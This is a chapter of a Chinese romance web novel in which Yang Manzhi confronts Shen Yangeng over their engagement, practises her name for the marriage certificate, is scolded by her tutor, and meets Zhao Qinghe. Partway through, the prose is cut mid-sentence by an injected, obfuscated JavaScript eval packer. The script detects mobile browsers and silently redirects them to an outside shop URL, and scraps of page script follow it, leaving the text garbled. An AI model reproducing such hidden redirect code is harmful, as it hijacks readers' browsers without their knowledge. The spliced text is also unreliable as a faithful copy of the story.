虽然房中对峙的只有两人,但院门外挤在一起探头探脑看热闹的人却能凑一场蹴鞠。
见杨满枝拔剑,贴着拱门的沈同就要冲出去,却被佳敏揪着头发拽了回来,其余人更是七手八脚将他勒得动弹不得。
无论如何,都不能打扰他们看戏。
“这里人多眼杂,”沈砚耕侧过头,淡淡地提醒:“若是真想杀我,夜深人静时再来。”
“我总归是欠你一条命。”
“回答我的问题,”杨满枝不为所动,她再度问道:“为什么答应与我成亲。”
杨满枝这次格外的执着,沈砚耕缓慢转过身,问:“今日姨母跟你说了什么?”
“难道你真的是因为那些传言?”那把剑被杨满枝端的很稳,她说出来自己的猜测,情绪激动:“为了那所谓的名声!”
“你希望我的回答是什么?”颈侧能够清楚地感受冰冷利刃,这不是杨满枝第一次拿剑威胁,但沈砚耕的反应与之前截然不同,他神情依旧平静,就好像是真的困惑:“心悦你?”
他的眼神清透,看得杨满枝如坠冰窟,她嘴巴翕动欲言又止,终究是深吸了几口气,将剑入鞘后,递到沈砚耕手中,侧身经过,沉默离开。
直到脚步声远的再也听不见,沈砚耕长长地舒出一口气,紧绷的后背跟着放松下来,他颔首摸着仍带有残余温度的剑柄,片刻后,将它重新放回剑架,独自收拾残局。
夜深了,偏院的书房仍亮着灯,佳敏端来一碗桂花羹,一进门就瞧见杨满枝仍旧是坐在书桌前奋笔疾书。
那场大戏草草结尾,不如众人想象中的有趣,甚至因为结束的猝不及防,被走出房门的杨满枝撞个正着。
佳敏将桂花羹放下,杨满枝只匆匆瞥了她一眼,便继续练字,佳敏站在她身边,见她练习的仍旧是“杨满枝”三字,轻声提醒:“姑娘,今日夫子留的功课做完了吗?”
“没有。”杨满枝回答的问心无愧,让佳敏有些犯难。
“戴先生严厉,若明日……”
“我会写,”杨满枝打断佳敏说话,揉了揉眼睛说道:“你快去睡吧。”
“是。”
佳敏应声离开,没过多久就又回来了,她重新添了灯油,接着站在书案旁,替杨满枝研墨。
这三个字,杨满枝写得又快又好,不一会儿写满字的毛边纸便洒到了地上,佳敏从小就在沈砚耕身边,她一瞧便知,是谁教杨满枝。
但杨满枝近乎执拗的行为,也让她越发好奇。
“这三个字本来是要写在婚书上的。”终于,佳敏等到了杨满枝主动开口说道:“我是孤儿,我父母也是孤儿,家里没有可以帮我写名字的长辈。”
“从他说要与我成婚起,我就一直在练自己的名字。”杨满枝说着,笔下动作不停,“他写字很好看,我也不想我狗爬一样的字毁了我的婚书。”
磨墨的动作一滞,佳敏低头看着杨满枝的侧脸,想从她的表情中看出一丝委屈或不甘,但杨满枝只是平静地叙述事实。
“侯爷不似表面难以接近,”佳敏收回目光,接着磨墨,试探性地说:“姑娘有这练字的毅力,如愿也只是时间问题。”
闻言,杨满枝搁下笔,双手握拳抵着下巴,流露出几分忧愁:“我知道,只是先前为了得到沈砚耕这个人,我做了许多错事。本以为我在意的只是他的脸,但后来连他的真心也想要。”
“药婆说我不懂爱人,”杨满枝说着,摸着自己的心口,“但今日听他说,是为了名声才愿意与我成亲,就觉得这里好像被针刺了一下。”
佳敏放下墨锭,看着杨满枝落寞的神情,不知该如何宽慰。
“这里没有人认识我,遭受非议的就成沈砚耕,所以他反悔,我也应该理解,”杨满枝忽而抬头,明亮如星的眼睛望着佳敏,“可是我不想理解啊,答应了就是答应了,哪怕用救命之恩威胁,哪怕是他名声尽毁,和野丫头成亲坏了他家风气。”
“我也要他的名字写在我的婚书上。”
佳敏忽而低头一笑,觉得自己的担心太过多余,她端起桂花羹,诚邀杨满枝品尝,看来一眼书案上的毛边纸说:“既如此,姑娘便吃饱喝足,鏖战到底吧。”
许是猎户出身的缘故,杨满枝冷脸时总让人觉得凶神恶煞,但若是她笑起来,便全然没了那股焊气,眉眼一弯,明亮坦荡。
她接过桂花羹,抿了抿嘴看着佳敏,局促地问:“鏖战是什么意思?”
“啊……”佳敏跟着笑起来,她拿过笔,弯腰轻语:“我来教姑娘怎么写吧。”
上一回让戴文赋劳心费神的学生,早已登科当上了一方父母官,若不是得意门生来求,此刻戴文赋早已隐居深山颐养天年,又何必看着满地狼藉,苦不堪言。
杨满枝写了一晚上的字,没有一个是戴文赋留下的课业。
所以今日,杨满枝只能站着听课,只是鏖战到底的杨满枝,哪怕是站在也忍不住犯困,一截儿炭笔精准的砸在她的额头留下一个黑点儿。
“站着都能睡着!”戴文赋气得吹胡子瞪眼,指着她说:“捡过来!”
“哦。”有错在先的杨满枝不敢反抗,她捡起炭笔,颠儿颠儿的送了过去,而后又重新站回原位。
戴文赋教的女学生不多,大部分都是名门望族中有规矩有教养学识的千金小姐,他忍不住埋怨:“你简直是我见过最差的学生。”
“翘课,不写课业,上课打瞌睡,没有半分规矩可言!”戴文赋细数她两日的罪过,说:“同样都是靖安侯身边的人,你与赵清和简直天差地别。”
一聊到课外,杨满枝瞌睡就行了,她眨着眼问道:“赵清和是谁?”
“关键是赵清和是谁吗!”戴文赋生气地那笔戳漆板,说道:“既然你用功刻苦不愿休息,那就将这两日所学,每个字写够一千遍,如若不然,你从今往后便站着上课!”
“哈啊!!!”
艰难的熬过了上课时间,杨满枝的膝盖都快不能打弯儿了,还是佳敏佳兴一左一右将她架起,扶回了书案前,立马开始抄书。
只是“人”字的一千遍还没抄完,杨满枝的心思就飘到了九霄云外,站在旁边磨墨的佳敏看出她走神,轻声提醒:“姑娘,专心。”
“哦……”笔杆子抵着下巴,杨满枝机灵的眼睛一转,抬头问:“今日先生所说的,赵清和是谁啊?”
佳敏摇摇头,笑而不语。
“赵小姐是御史大人的千金,”在另一方桌上裁纸的佳兴开口问道:“听说是和侯爷从小一同长大,不过夫人去世后,赵小姐便不再过来了。”
“一同长大?”杨满枝垂眼沉思,眉头不自觉皱起,紧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17678981|207619||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
接着她又问:“她是个什么样人啊?”
“嗯……”佳兴停下动作,稍稍抬头回想,“只在安夫人生日宴上远远见过一面,嘶,只能说赵小姐不负盛名,的确似天仙下凡。”
“啊?”杨满枝听后,难得露出呆愣的表情,她看着佳敏求证,佳敏却只是再度敦促:“姑娘,你要写不完了。”
谁料经佳敏这么一提醒,杨满枝直接搁下笔,乱七八糟地跑出书房门。
佳兴起身喊道:“姑娘!”
“我尿急!”
安家是京城中的大世族,杨满枝几乎是不费吹灰之力就找到了安家,此刻,她早已将课业忘个干净,站在安家前院里,手里攥着那枚鸽血宝石,来回踱步,焦急等待。
“我只是来还东西的,”杨满枝找借口喃喃自语道:“顺便再问点事,啧,这小兄弟怎么叫人叫得这么慢……”
说罢,她扭头四处张望,忽而隔壁院里传来两三声交谈,杨满枝回头看了眼小厮离开的方向,接着便蹑手蹑脚朝隔壁院子走去。
“小姐,别急,我去找人来……哎呦!”
刚刚迈进月洞门,一个小侍女迎面撞上来,杨满枝被吓一抖毅然不动,小侍女却没站稳,连连后退几步。
“对不住对不住!”杨满枝连忙把人拉起来,一个小女孩忽然跑过来躲在小侍女身后,杨满枝瞥了她一眼,问小侍女:“你们在干嘛呢?”
面对脸生的客人,小侍女怯生生地指着院墙旁种着得高大晚梅,杨满枝跟随她的指引望去,只见一只纸鸢挂在最上头。
“哦——”杨满枝露出一个了然的笑来,忽而伏下身朝小女孩皱了皱鼻子,俏皮地说:“姐姐给你拿下来。”
话罢,杨满枝灵活地攀着树干,三两下便爬了上去,她坐在花间粗壮的枝干,取下纸鸢,朝底下的女孩们摇了摇。
正要下来,余光却瞥见院墙另一边的光景。
梅树枝繁花盛舒展出院墙,梅花树影之下,是一方圆桌,女子临桌静坐,身姿挺拔如青竹,宽大的衣袍衬得她身形瘦削,却不显孱弱。
她垂首,眉眼低敛,平静地像一汪清泉,只余一侧书卷在手,不染半分尘俗。
一朵梅花翩然落下,遮住书上正要看下去的内容,她抬头望,视线穿过婆娑花叶,与杨满枝对上目光。
温柔似春风的眉眼惊诧一瞬,女子匆忙起身离开,杨满枝追随着她的行动轨迹,不一会儿,就看见她走到树底下,朝她喊:“姑娘,你快下来,太危险了!”
如梦方醒,杨满枝匆忙跳下梅树,刚刚站定,那女子便迎了上来,关切地问:“可有哪里磕着碰着?”
“没有,”杨满枝第一次遇见这样温婉的女子,她局促地重复道:“没有。”
“那便好……”
“我当你去哪儿了!”安佑蔚笑着走来,仍是一派爽朗,“原是当起古道热肠的女侠了。”
“义母。”
那女子走上前,亲昵地挽着安佑蔚的手臂,安佑蔚拍拍她的手,目光忽而在两人间来转了一圈,笑问:“你们已经认识了?”
女子轻摇头,安佑蔚挑眉,看向仍有些茫然的杨满枝,开口介绍:“满枝,这位是赵御史的千金,赵清和。”
脸上的无措瞬间化作惊讶,杨满枝望着赵清和,不自觉攥紧了手中的纸鸢。